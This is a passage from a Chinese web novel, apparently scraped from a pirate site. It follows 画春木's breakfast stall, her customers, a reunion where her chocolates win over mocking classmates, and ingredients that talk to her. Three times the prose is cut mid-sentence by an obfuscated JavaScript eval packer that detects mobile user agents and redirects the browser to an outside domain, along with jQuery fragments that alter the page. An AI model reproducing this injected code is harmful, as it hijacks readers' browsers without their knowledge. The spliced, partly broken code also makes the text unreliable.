然后她又要了两份粥,咸粥里面有冬瓜虾仁粥和紫菜蛋花粥和肉丸粥。
她要来一份蛋花粥,一份虾仁粥。
点完餐后,黄芹就在这儿等着。
一般而言,早餐就是日常所需,黄芹想着就带孩子就普普通通的吃一顿就好,本身也就没对这里的早饭有什么期待,自己喝了一口冬瓜虾仁汤,好像还一点都不腥,这汤真的好好闻啊。
“蕊蕊,你的汤好喝吗?妈妈尝尝。”
居然也会这样好喝吗?记得她之前,有朋友请她去过一次高级酒店,酒店里面上百的一顿早饭,那边的汤就跟现在她喝的汤味道一样。
当初是朋友请客,因为很好喝,所以黄芹她就一直想着这一口。
没有想到在路边一家早餐档口,就能
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15670087|173117||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
做出那种汤的味道,而且喝的汤,还不比那次酒店的味道差。
最朴实的食材,也能做出高级感,嗯,她的口腔感受到了前所未有的美好……
竹筒粽子也好吃,绿豆完全是磨碎了,要比过去她小时候吃的竹筒粽子也要更加正宗美味,黄芹发现里面的糯米还是温热的,吃起来的口感就更加不同。
后来黄芹还买了两个包子。
包子是有大的,还有很小的小笼包,一屉大概小小的6个,鼓鼓的,馅料很足,小笼包是有蘸汁的,尤其蘸料就是灵魂之处。
原先黄芹她在早晨顶多吃一个饼,吃了一些东西,本来是要饱了,结果突然就胃口大开:“要不再来一屉小笼包吧。”
果然,这里的所有食物都不让她失望,她的眼前一亮一亮又一亮。
黄芹问蕊蕊吃得还好吗?
蕊蕊吃得正是忘我的时候,半晌才听到,点头如捣蒜,等两人吃饱喝足了,黄芹拿出自己的手机,查询一下接下来她们要走的路线。
黄芹:“地铁一条路线一个半小时,换乘多点,另一条路线将近两个小时了,换乘少一次。”
看她在这边犹豫许久,画春木稍稍给了她意见:“您可以看看步行过去的时间,不想多走的话,可以就选步行少些的吧。”
当然,画春木她只是个人意见,具体还是让黄芹自己做主。
黄芹:“你说得确实有道理啊,我看看。好,我选步行少点的吧,第一条路线好。”
“谢谢你哈。”
“没事。”
“我从小到大确实也去动物园,野生动物园的话,我是从来不敢去。我这次带她去的就是封闭式的园区,小孩子嘛,过节就带她出来玩玩,散散心,然后接触接触新鲜空气也是好的。”
蕊蕊又说:“妈,下回如果我模拟考试考得不错,你能不能周末再奖励我啊?”
“现在你就已经安排上下次了?”
“我想是下次的话,就在这里吃好吃的吧,我觉得这就是对我最大最大的奖励了!!”
“比去动物园或者博物馆的奖励还大吗?”
蕊蕊:“嗯,妈妈,比那个还要更好。”
黄芹自然是同意了她的请求,说:“蕊蕊,那下回我就陪你过来。”
黄芹陪她来当然还因为对于这样好吃的美食,她也是无法忍受得了。
12岁的蕊蕊也看出来了她的想法,低声对黄芹耳边说:“原来妈妈你也是跟我一样啊。”
“蕊蕊,不要戳穿我呀!”
今天的竹筒粽子基本全部卖完,只要吃过竹筒粽子的人都对它赞不绝口。
刚刚来的就是今天迎来的最小一位客人。
上幼儿园大班的灵灵,她是班里面画画很好的。
5岁的她吃过春日早餐铺的小食,给画春木画了一幅画,虽然是简笔画,但是能看出来整体的轮廓。
画上的那个窈窕的身形就是画春木。
她被灵灵画得特别地好看,她问:“这画得就是我吗??”
“对啊,姐姐做的饭很好吃。就像是天使呢,所以就是天使的脸庞,魔鬼的身材!”
好吧,这魔鬼的身材应该是夸她的了。
10. 第 10 章
画春木越看画上的人越欣喜,就问这一幅画能不能卖给她。
“春日早餐铺里的她”感觉很有意境。
灵灵带着糯糯的奶团子音,直接对她说:“当然可以啦,只要姐姐喜欢就行,不过我不要钱,我就想直接送给你,因为这个时候在早餐店里面的姐姐是最漂亮,最好看的人!!”
画春木都被小女孩夸得有些无所适从,她道:“好呀!”
她于是接过了这张画,她要好好珍藏起来,画春木认为那是对她做饭一种最好的奖赏了。
她自然是再开心不过:“那谢谢你送给姐姐了,但是不能白送给我,姐姐帮你拿上六个锅贴好不好?”
“好。”
灵灵拿到手里面以后,眼睛笑得眯在了一起,说:“谢谢姐姐,下回我还来的,我要从幼儿园的时候,一直到我长大,都要在你这里吃好吃的东西。”
“好好,那没问题。”
灵灵离开了,半小时后,李闫灵突然驱车过来。
她并不知道李闫灵居然会突然来,李闫灵:“我这不想着帮你吆喝吆喝,新鲜的刚出炉的包子哟,美味的锅贴饼子,还有肉夹馍和粥,手抓饼!春日早餐铺的小食很好吃滴!”
李闫灵也是富家千金出身,现在的丈夫也挺能挣钱的,让她抛下面子到档口吆喝客人进来,显然十分重视画春木这位朋友了。
“其实没关系的,你不用这样费心帮我。”
李闫灵:“春木,我总是到你那儿蹭吃的,刚好这两天我老公回来,有他陪着锤锤自己就能够有时间过来帮她的忙。
李闫灵她又吆喝了半天,这里的一个环卫工粱阿姨就跟她说:“你们家的档口,根本不用吆喝别人进店都行的。有时好的东西根本不需要大力宣传,大家都会来。你家铺子的人平时多着呢,春木啊,你不是还有两个钟头就要下班了吗?我寻思着人少了点,我也能抽空到这儿买饼了。”
李闫灵:“刚刚那位阿姨说得挺对,这样吧,那我就陪你一起在这边打打下手什么的,我都可以的。”
粱阿姨买到了手抓饼,她最爱吃的就是手抓饼。
最后的一个竹筒粽子就被画春木直接送给了粱阿姨,说是今天过节的缘故。
粱阿姨:“今天这是儿童节,我也不过。”
后来,她看画春木既然执意送自己,就不再说什么了。
“小姑娘,我相信啊,你这以后的生意会越做越好的!阿姨看好你!”粱阿姨笑着对她说。
早餐铺子的周围,画春木就认识了不少的人,大家伙儿都愿意来她这里吃,久而久之,就成了她的老顾客,画春木不仅做饭好吃,人好,嘴巴也甜,上回经常逛公园的柳大妈有回吃了她的饭,还没一会儿就和她聊起了天,画春木做的美食完全可以慰藉人的心灵,治愈他们不开心的情绪,是一种很好的安慰剂,周遭的一些商铺尤其早饭就到画春木的早餐铺子里,一坐就是半个小时,旁边的小店那边的老板和员工们都超爱去春日早餐铺,每天只要吃上一口,立刻就会变得活力满满。
人们的需求多了,画春木就会更加注重效率,这些天进货可把她忙得不行,周日她还顺便参加了一次高中同学聚会。
聚会是由高一(6)班的班长发出,想要在那天大家聚一聚,其实书里面表示了原主她对高中的经历并没很多的印象,虽然也有三两好友,但都没能够交心的,时光飞逝而过,如今,他们所有人坐定在饭店的1601包厢里,坐在圆桌旁,回忆着往昔,画春木则不同,别人不是西装革履,就是身穿华丽的晚礼服,以前,他们就是欢尚贵族高校的学生,如今走向了社会,周身更是散发着一种富贵气。
她穿着一件非常日常的休闲服装,上身一件白T恤搭配了一件黑色牛仔裤,方便又很简洁,画春木比较喜欢这种很利落的感觉,她给每位同学们全部发了各种口味和造型不同的小甜点巧克力,每人两份巧克力,分为星空形状和动物形状的,就当是见面时候送给他们的一份小礼物。
正式聚会开始,一般有个必说的话题,就是现在大家都在做什么,过得如何以及婚嫁问题,班长裘菲菲目前就在海外担任五百强公司的高管,坐画春木旁边的女人赵茹韵,则是嫁入了豪门,平日里根本吃穿不愁,做了豪门太太,全职主妇,而还的则是会到国外进修艺术,开画展,更多的是跟纪律委员商宸一样继承家业的,提及画春木,大家都知道她是段家养的女儿,对外,养父母他们就称画春木和自己的亲女儿一样,给她最好的宠爱,不能让她受到一丁点的委屈,段家当初的实力在A市可谓达到了顶峰,就在人人觉得画春木被上天砸中了馅饼,成为了段家女儿时,只有画春木自己知道,他们为的什么。
因为对自己女儿的愧疚,加之弥补在她身上,能让养父母的心理得到些许的安慰,书里面曾有表示过袁丽珍和段其毅的心理活动。
画春木并不认为她目前做的事情有任何丢人,靠她自己的双手做事,认真努力,这并没错。
得知画春木的职业,面对她热情地邀请他们可以到自己的早餐铺吃饭时。
很多同学们包括旧友都全不装了,那没意思。
“原来我看过的一本小说,好像讲的就是什么假千金鸠占鹊巢,真千金回来打脸这种类似的,真不知道春木她到底经历发生了什么事情?应该很是精彩吧?”
“画春木,就是你给我送的巧克力?我说看着就跟杂牌似的,原来是你自己做的啊?那能好吃吗?你有厨师证吗?手艺能比得上米其林甜品大师吗?我可从来不吃不清楚来源的食物啊。”
“哎!不是我说,都不是一个圈层的人,你说了也白搭,人家理解能力有限。”
……
诸如此类的难听的话,画春木听得耳朵都出茧子了,她精心制作的巧克力在别人眼中看来,不过就是可以随意丢弃的垃圾罢了,她能听出他们的话外音,对于他们的明晃晃地嘲讽,握紧了拳,说:“厨师证我已经考过了,我不会自夸我能有这个手艺,但至少应该尝过再说。”
聚会里的一个女人常年就有低血糖,平常的时候她的包里都会带着一块糖,今天却忘了带,现在还没上菜,手边就是两块巧克力,她想也没想,打开外面的盒子包装就准备吃,巧克力的外表还有一层可食用的糖纸,远处看是琥珀色,透亮的好看的在灯光下,尝了一口,是那种带有非常淡淡的樱花香气的糖果味道,这样搭配巧克力吃,和直接吃里面的巧克力,味道的层次还会不同。
雕刻成了圆的星球状的巧克力,里面会融有其他的甜丝丝的香味,左钏她的巧克力含在口中,她吃到的是形状火星的巧克力形状,不会特别甜腻,夹杂一丢丢的桑葚味儿,一下子就感到她得到了治愈,而另一块动物形状的巧克力,黑巧白巧制成的斑马巧克力,味道的冲击力竟然会比看上去更漂亮的星球巧克力的滋味更妙。
左钏:“哇!春木,你做的巧克力也太好吃了吧?现在我的舌尖上面还有余留的香,嗯,真的不错,大家要不也试试?”
赵茹韵:“啊?饭前吃甜点?那一会儿我可吃不下饭。”
左钏:“你真不吃?那你给我吧,我还想多吃一点儿呢,我都不够吃。”
“你们还有谁不吃?都给我吧。”
左钏话音一落,其他的人开始只是觉得奇怪,画春木她可以做得出什么好吃的?一部分的人自然地递给了左钏,另一些人反倒来了更大的兴趣,纷纷把它拆开来,有人是想故意看画春木的笑话,试着吃了一口,谁想一吃就停不下来,不仅外表十分精致,而且味道根本不输什么他们口中的甜品大师,没有多余技巧,全是饱含着感情的精湛优秀厨艺……
他们有的人吃了两个巧克力以后,舔了一舔唇上沾染的甜甜滋味儿,就两块看似普普通通的巧克力而已,不应该会这样美味!!
天!一整个掀起舌尖上的味蕾,翻滚在他们的脑海,脑袋里面就回响着一道声音:要吃!还要!!!
但凡是吃过了画春木她做的这两颗巧克力,就都闭嘴,不会再在面前或者背后去议论她什么,反而都是夸她手艺强,尤其左钏她要了画春木的联系方式,她说自己最近手机刚换了号码,这么多年都不怎么联系,这时忽然非要加上了她,左钏:“大家,我从春木的巧克力里面吃出了一种感觉,叫人情味,这些,你们很多人都根本没有。”
“春木,以后我就买你做的糖,真的好吃,我以前吃得巧克力都齁甜!有好吃的也不如你做的,有需要的话,到时我会联系你。”
这次的同学聚会结束后,画春木的春日早餐铺也都传开来了,就算是以前不怎么爱吃甜食的人,都会被画春木她的厨艺所折服,很小的一家早餐铺子,又迎来了不少曾经她高中的同学们,高中同学大多都会过来,哪怕耐心等待一阵,就为了那一口美食。
为了一颗巧克力,他们会来到她的早餐铺子,还为自己曾经的那些对她不好的谈论表示了十足的歉意。
“春木,那本小说我后来没再看,我现在觉得呢无论是真千金还是假千金,有件事情很重要,明确自己人生的价值是什么,踏实地去走自己的路,那才是正确的选择。”
“我为我当时说的话给你道歉,确实难听,连我自己后来在睡梦当中啊,我都在想,我就非常非常地懊悔,我居然质疑你的做饭水准?我真就是一个没有水准的人啊。你可千万不要跟我计较生气啊。”
“春木,我虽然没吃你做的巧克力,但我女朋友实在爱吃,她还说这是她吃过的全世界最最好吃的巧克力,你不介意我当时的话,还卖给我巧克力,我啊,才是那个境界最差最低的人。这次我要三颗,水星的那一款。”
……
后续,有两位同学还带了她们的一点儿心意礼物就给画春木赔礼道歉,以表达自己的心意,两人说大家都是好朋友,送好友礼物也很正常,不让她退回,画春木她接受他们的道歉,不过她真的没有想到居然因为一份好吃的美食,大家的态度居然会有一百八十度的转变。
.
又是一个晴朗天,就在距离档口不远处的理发店,店里老板泉森刚刚开口,就走到了春日早餐铺,坐定在餐台旁,卷帘门拉开已经开始营业的画春木,刚刚送走了两位客人,看到了一位熟悉的客人。
泉森经常到自己这边来吃东西,此刻的他盯着菜单上面的小食,说:“画老板,我要一屉小笼包,要辣汁调味的,还要一份夹馅煎饼,煎饼也是要辣多多,薄脆多来点,来片大的!!!”
画春木:“好的,请您稍等片刻。”
煎饼的做法和鸡蛋灌饼并不相同,中筋面粉、鸡蛋和水、盐、食用油,首先就是这些用料,当然,煎饼需要的面几乎都是调和好的,先刷上一层油,再将之直接摊在平底锅上,平铺均匀以后,静置的时间需要刚刚好在9分钟,这样摊出来的煎饼才能更加柔软,口感就更加地好。
画春木很讲煎饼的形状,必须摊得很圆,就像是用圆规画出的一样,手法迅速,还很美观。
泉森:“画老板,你这儿的煎饼简直百吃不厌,我要每天不来上一口煎饼,我一整天的心情都很低落。”
画春木这里的煎饼分普通煎饼和杂粮煎饼,杂粮就是比如是有绿豆面或者是玉米面,泉森喜欢的就是杂粮煎饼,玉米面制成的杂粮煎饼,就是他的心头好。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15670088|173117||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
就是想这一口啊!!他的员工有时候还调侃他这绿豆面煎饼居然会让他直接患上了相思症,他对现任女友都没相思症到这种程度的,而煎饼却不同。
画春木听到了正在锅上的一个成形的煎饼对她说:“依旧是按照以前的方法,蛋液刷在我的身上,注意火候,小火到我的边缘翘起,这个时候先别急着放入酱料,需要等一分钟,让我可以整个面饼的柔软度达到89%,我现在的水份也会刚好,好的,现在可以放入我的小伙伴们了。”
一般酱料就是黄豆酱和辣椒酱,夹馅的话,是可以加入一些生菜、烤翅、火腿、辣条、土豆丝、皮蛋碎、午餐肉、培根、豆腐皮、海带丝……
夹馅煎饼的话,可以加的食物就很丰盛了,泉森还说和上回一样,烤翅和豆腐皮是一定要的,午餐肉要两片,画春木为他加了酱和生菜、肉等,递给泉森。
泉森吃得满口留香,果然还是经典的味道,是可以让他回忆起小时候的味道,他的嘴巴里面感觉各种各样的料和食物在夹着薄脆的煎饼里面炸开来……
哇!哇!吃完后的泉森开始了一整天活力满满的工作,回到理发店,他在心里暗暗地骂自己:肚子啊肚子,你可真没出息,刚吃怎么就又饿了?你这该让我怎么办?明天吧,或者今天下午再吃一顿好吧?
做好对他肚子的安抚以后,已经来客人了,这边泉森就先接待了,奇怪的是自己每回只要一吃早餐铺的食物,那他的理发水准就又质的提高,不仅如此,就连顾客都对他十分满意,看着泉森给她理得波波头:“嗯,我很满意。在你家店理发,看来我得办张卡,方便以后再来。”
泉森:“小志,那你帮咱们这位客人办张卡,要张月卡是吧?”
“不是,年卡,你们这儿给我做的发型完全就是我想象中的,所以我想直接办张年卡好了。”
泉森嘴巴都快咧到太阳穴上,对小志说:“年卡,办一张年卡。”
小志:“行!”
“豆礼呢?豆礼她去哪儿了?”
“哦。说去买早餐,一会儿回。”
因为怕老板骂,李豆礼就买完了一个葱油饼就赶紧拿着包装袋边走边吃,回来后,小志问她:“哦回来了,你这饼哪里买的?”
“春日早餐铺。那边买的,因为着急,我就先赶过来,怕有客人来。”
女客人本来是办完了卡,再照着镜子里面的自己,准备离开的,忽然就顿住了步子,因为葱油饼的味道实在过于的诱惑,半晌都香得她走不动道,这才说:“你刚刚说这饼是哪儿买的啊?”
“就在旁边的春日早餐铺。”
女客人:“哦。那行,你这买的什么饼?”
李豆礼:“那儿吃的好多呢,我手里拿着的就是葱油饼,看您想吃什么,菜单上都会有。”
泉森好不容易忍住自己肚里的馋虫,这下好了,被这香气扑鼻的葱油饼这样一勾,又想开始买它回来吃,哎!可他明明已经吃好了的,不行不行,理智收回以后,还是不能再吃了。
女客人于是出门就直接找到了他们说的春日早餐铺。
看着外观,是那种春天的花蕊,粉色配上了淡淡的黄色,一看就是那种有点温暖和温馨的氛围了,她很喜欢坐在这边的感觉,车流在不停地行进中,她则是在这里安安静静的,可以沉下心,这儿的视野确实还是可以的,她排队以后,五分钟,到她了。
“来一份葱油饼!”
她就要这个,画春木于是很快帮她做好葱油饼,葱油饼里面的葱香很重要,油酥的制作是需要面粉和盐以及热油直接搅拌成了糊状,这葱油饼是带着些许椒盐味道的,小葱的话必须沥干沥尽了其中的水分,它最终是一种干香但带着油润却不特别油的感觉,程度上的把控需要一些方法,圆饼不能太薄不能太厚。
还没吃呢,女客人她就早已闻到了香味,这种香味只要闻到的人,就很难不被它所吸引住,那一股股飘来的葱油饼的味道,一整个直接上头住了,画春木提醒她会有点烫,女人接过了它,确实,隔着一层包装袋,也能感触到它的那股热量,第一口!就已经让她无法言说的那种滋味,这也太太太好吃了吧?不是太,是爆,爆好吃!!女人不会想到,看着这样平平无奇的一个饼,竟然可以迸发出如此大的能量!吃起来要比闻着要再香一百倍,不仅饼很软很软,外面更是异常地酥脆,直接可以酥到掉渣,因为葱油饼是由一个长条盘成的螺旋状,内里的那个芯,就是最最精华的部分,吃进嘴巴里的那一刹那,长裙女人都快差点哭了出来!!!!
为什么现在,现在才让她吃到这么好吃的东西啊,她还有再买一个吃,再买了一份葱油饼和一份汤,天!一定没有人吃过这个葱油饼搭配上肉丸汤的感觉,把它轻轻地蘸在了汤里面,是一种很鲜的味道,完全浸入时候,又是另一番美味……
酥饼就这么泡在汤里,咸香咸香的,汁水全部浸透了饼皮,居然每一样食物都能这样好吃,这家小铺,直接进入她的宝藏美食店NO.1,暂时没有可以能和它一样这么完美的店,平时上班路过的时候,自己竟没发现吗?
别提她现在有多懊恼,如果她能早点发现,估计就能早点享受这一份美味,不过现在也不迟,她一滴汤也不肯放过,全部都把它给喝完了,肉丸汤和葱油饼它们两个味道各有不同,都很好吃,不分上下,她问画春木:“老板,你这儿的早餐也太棒了吧?不过我还没吃过其他的,其他的味道如何啊?有这个葱油饼和肉丸汤好吃吗?”
这个画春木不好说,对方只说:“行!那我下次就都自己尝一尝,下回周一差不多这个时候,我还来!再买一点别的吃。”
11. 第 11 章
晨起,画春木的早餐铺刚开门。
比她最醒来的是那些在店内的食材。
它们会对她说:“早上好!”
画春木也会对它们说早上好,番茄:“春木,你昨天忘了把我放到冰柜里面,再不把我放进去的话,我就会坏掉,你就得扔掉我了。”
画春木于是向她感到抱歉,将它放进去,冷藏保鲜,然后系统有时候会突然地诈尸上线,对她说:“距离可升级店铺装备还有200位客人哦,宿主再接再厉!!”
画春木接着用手机备忘录,记上一些目前需要购买的东西,比如案台上的清洁布,还有一些批发的包装袋,包装袋她都会十分用心地挑选,尤其质量最佳的好。
就在前两天,上次过来美食探店的庞一艺,让她加上了自己探店账号,后来私信发她说是那个“迎接夏日和煦的一抹风,就来春日早餐铺!”
那个视频发布之后,直接爆了,流量是后续缓缓地涨上来的,并不是一天就达成的。
确实也给她带来一些人流量,画春木很是感谢她,庞一艺则表示她们这是相辅相成。
而且要不是画春木她做的食物真的好吃,档口这边就不会有很多人来。
正是因为庞一艺的那条视频,过来早餐铺的人不仅多了,积累了更多的好的口碑,有一段时间,她每天的营业额确实最高达到了上千元,就是日常也能有个500元,不过运营、成本再加租金的话,净利润不算很多,但至少也比一开始要有一个大的进步了。
至少,目前挣得的这些钱,可以先全部还给戚芙苓了,这月的租金已经交过,扣除掉这些,留在她手里的钱还能剩下些,不过日常进货花销也不小,她还得继续努力啊。
档口营业的一位宋老板,上个月刚来现在就又离开了,问题就是赚的不够覆盖这里的租金,要不是能够覆盖的话,就无法在这里长租,宋氏酱肘子店不开了,就剩一家烧烤档口和一家烤面筋档口还在,要想在这边扎根并不容易,画春木看着外面的风景,微风十分轻柔地拂过了她的脸庞……
夏立芙刷卡从地铁A口走出来,手上的手机贴在耳朵上,正在打电话:“妈,相亲的事先往后放放吧,我现在实在没有心情,我这不刚刚上完大夜班,一下子熬到了早八,那个,我下地铁正准备回家呢,先挂了啊。”
夏立芙并不跟父母生活在一起,而是在这边的一个普通小区租房住,有个合租的女孩子,是做配音工作的,今早不在家,夏立芙累得腰酸背疼,一个人的话,基本就是煮个泡面,再吃点饼干之类,速食食品吃多了,一时间也不想吃了。
刚好看到这边有一家早餐铺子,档口看上去还算挺干净,先坐了下来。
菜单旁边标有的新品:咸香豆腐脑,就直接点了一份这个先。
豆腐是已经提前做好了的。
在做豆腐时,干黄豆就会对画春木说:“要做咸味的豆腐脑,必须先把我清净彻底干净,加水泡上6个小时,泡好的我和大约1000ml的水需要用豆浆机打碎,搅在一起,通常,我必须经受过滤以后,才能得到生豆浆。
十分详细地各种注意事项,干黄豆一一说明,豆腐脑很快就出锅,碗放在桌上,豆腐震荡时候,很弹,很软,它再加上一些咸味的调料,酱油、榨菜末、紫菜碎和虾皮等,画春木:“要香菜吗?”
“要。多来点。”
上完夜班,吃一碗热气腾腾的豆腐脑,那真是再美妙不过了!!
豆腐脑吃起来duangduang的,可以直接含化在嘴巴里,后味儿会有一股淡淡的豆香气,味道的多重,极其丰富的味蕾刺激,豆香很浓,鲜香的复合味道直冲天灵盖,哎呀,这也太舒服了……
夏立芙从来没有这样轻松舒服过。
再搭配上两个梅菜扣肉的包子,梅菜扣肉馅的包子,里面的滋润和细碎肉末,皮包馅大,真的爆绝!
夏立芙吃完又来了两个这个馅料的,怎么吃都好吃,还特实惠,她问:“老板,你是一直都在这边卖早餐吗?”
画春木:“对啊。”
“那我直接加你一个联系方式,行吗?”
夏立芙是担心万一她以后不在这边卖了,换了地方自己就找不到,保险起见,她还是要了老板的联系方式。
“布丁!布丁!!!”
一只柯基犬绳子被一个女人牵着,她这一路狂奔,气喘吁吁地,喊着:“布丁!你跑得这么快!我都跟不上你了,我穿的是高跟鞋,哪儿能受得了你这么跑?”
她被迫停下后,布丁停在的位置就是春日早餐铺。
郭卉卉实在拿它没法,只能坐下歇歇脚,坐到了餐台旁。
“你是又闻到什么香味儿了?布丁,你说你现在到底怎么了?遇到好吃的,就走不动道儿,你说你这像谁啊?”
布丁趴下,两只黑眼珠子盯着她,郭卉卉:“你可不像我,我现在减肥,一天只吃两顿,跟你不一样,你说你小时候我抱着你的时候,你多么可爱,现在,跑起来肚皮都在颤。”
画春木听到外面的声音,说:“您好,有什么需要吗?”
郭卉卉:“没。我已经吃过早餐了,是我家狗狗,它就最近,一闻到哪里有香味儿,就非要跑到那里待着闻闻味道,一般它待上两分钟就走,今天也不知道是怎么了,待半点,没有继续走的意思。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15670089|173117||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
“布丁!我说布丁啊,我们该走了吧。”
这会儿,布丁因为天气热,吐出舌头来,只是闻到了画春木做的早餐的味道,都快流出口水了。
郭卉卉:“布丁,你是想吃什么了?鸡腿?包子?还是烤肠啊?”
布丁瞬间两眼放光,它叫了三声,那意思就是三个都想有,郭卉卉无奈:“家里还有给你的狗粮呢,下午喂给你一些营养丰富的饼干,你这要求是不是太过分了?”
画春木:“一般狗狗能吃吗?”
“一般狗狗要吃这些食物,确实是得谨慎挑选。而且我家更不能随便吃,它特别爱过敏,医生说了必须吃狗粮或者专用零食,骨头也行,其他不可以。”
画春木:“这里有卤鸡腿,你可以吃完给它。”
郭卉卉刚刚其实也闻到了早餐铺子里散发的味道,确实很香,但她吃过早餐。
不过吃点小食也没事儿,她看到了新增菜单上的烤冷面,目前没有多的味道,有原味酱香味道还有酸辣口味的,郭卉卉说那直接就来一个酸辣口味的烤冷面,再来一个卤鸡腿好了。
冷面皮、鸡蛋、洋葱、香菜,一股股香气已经扑鼻而来。
面皮带着焦焦的边,酸辣口味的话,需要在酱香的基础上,加上一种酸辣酱,吃起来时,酱香里面带着一股十足浓郁地酸辣味,吃完后味儿会有一丝回甜,郭卉卉一直就很爱吃烤冷面,就因为它的味道实在是十分独特,就不知道这里的早餐店居然还会有烤冷面,在她想象当中,应该味道一般。
毕竟这家档口是主做早餐的,烤冷面又是新增的,就觉得不会很好吃,只是她现在有点馋这口了,反正又是要买鸡腿的,不如再买一个吃,虽然她目前是在减肥,但偶尔地吃一点点地小食问题不大的,她这么想。
谁知吃到的第一口,这烤冷面也太好吃了吧?简直是烤冷面界封顶那样的存在,怪不得布丁它会停在这边许久,味道很不错,尤其再进入嘴巴里的时候,甜!辣!酸!三种口感的激烈迸发!!
面皮的外韧内糯,香菜在清香和香辣之间脆生生一口下去,酱料不会觉得很腻,主要还有一些余韵的味道在,那就更是一份享受了……
卤鸡腿更是惊艳无比,布丁已经开始忍不住了,等她完全嗦干净了鸡腿后,开始啃起了骨头,布丁直接就把炸酥了的骨头啃得不剩什么,这是它的狗生头一次吃骨头吃得这么满足过!
而现在、此刻,它的狗生圆满了!!!
画春木一转眼,看到布丁好吃得都翻肚皮了:“布丁它真的吃得很好呢。”
布丁:汪!汪!!(尾巴螺旋桨式高速旋转表达它的过分喜爱!)
12. 第 12 章
最近,画春木总是在她的早餐铺里看到一个熟悉的身影,一个看上去像是女大学生的人,定时八点会走到地铁口,晚八点准时走出来,画春木之所以会注意到她,是因为她总是穿着一个背带波点牛仔裙,戴一顶宽大的草帽,耳朵上戴着一个大大的蓝牙耳机,更是会在怀中抱着一摞书。
今天,她又观察到了那名女生,她能够感觉得到她的昂扬向上的一种劲头,叫人看了心里边也会暖暖的。
女生崔萃耳机里面正听着考研的知识点,每一天她都会往返同一条道路,她每天早上六点起床,需要坐地铁到最近的一家大型图书馆,背和记她所需的考研书本知识,安静的环境下能够督促她进一步地沉浸在浓厚的学习氛围中,又是去图书馆打卡的一天。
只是好几天她都没有怎么好好吃饭,回家了也是熬夜看书居多,最近不思饮食,早晨就从家带了一块小的面包路上吃,出门前,崔萃她就捂着肚子出来的,因为胃痛,刚刚遇到药房,崔萃她就直接进去买了药,拿出包里面的矿泉水把药喝了,喝完了药总算舒服一些。
不能总不吃早餐了,这样下去可怎么好,肚子感到一阵空虚的崔萃看到了一家早餐铺,径直就走到那边去。
“有人吗?”
画春木:“您好!需要买什么吗?这里是早餐档口,墙上有菜单。”
崔萃:“老板,就给我暖和一点的早餐,就是那种可以暖胃的就行,我现在胃里有点不大舒服。”
画春木:“好。没问题!”
于是画春木就推荐了她关东煮和奶黄流沙包,崔萃:“行,关东煮可以,我要魔芋丝、福袋还有白萝卜,油豆腐和海带结,脆骨鸡肉串,再要一份奶黄流沙包。”
画春木于是就现在开始帮她盛上了一些关东煮,然后舀上了里面的汤,崔萃先吃了一口白萝卜,白萝卜看着不很起眼,但它却是吸汤王者,煮到了透明之后,咬上一口就会特别爆汁,会带有一丝丝甜的味道,魔芋丝的脆脆口感,还带有弹牙的地方。
而油豆腐就跟海绵一样,一咬就会喷了汤汁,画春木叫她一定小心一点,不要烫到嘴巴。
吃到的油豆腐皮的福袋里面,包裹着糯米,她拿了两个福袋,一个糯米,一个是里面有芝士流心款的。
直接拉丝吃到爽,崔萃最爱的就是鸡肉串了,因为带有脆骨,所以每口吃起来都嘎吱作响,肉质里面含有白色的软骨。
海带结里面一点腥味都没有,反而海带的味道更加浓郁起来,咸香咸香的。就这样一碗热乎乎的关东煮再喝上一点点里面的汤,鲜得不得了……
瞬间,崔萃的胃里刚刚一些难以抒发的难受感,已经渐渐的消失了。
画春木看出她的不对劲,问:“你是哪里不舒服吗?”
崔萃只好说是因为考研的缘故,一心就扑在每一天的背书上面。有时候就不怎么吃早饭。
“那可不行,早饭一定要吃好,早上尤其是要摄入营养的,记得下次千万一定不能不吃早饭了。”
“嗯,是啊,我有时候就吃一块特别小的面包。”
她还说自己吃的面包就大概手掌这么大,画春木:“那也吃不饱人呐,以后啊,可以来我这吃早餐。”
“嗯,行!”
画春木:“我之前好像见到过你,你经常坐早上八点的地铁,对吧?”
“是啊,我如果在家的话,会不大容易进入那种考研状态,所以就到最近的那家齐幸图书馆。
崔萃自从考研准备前的每一天,都是紧张的,所以她不敢停下步伐,之前竟然连吃饭也觉得浪费时间。
但当她今天走到这家春日早餐铺,这样小小的吃一顿饭,那感觉就特别舒畅,而且她能够感觉到自己的考研劲头反而会变得更足了些。
看来有时候还真不能像她之前那样了,画春木:“可以再尝尝这个奶黄流沙包,这是我最近做的新品。”
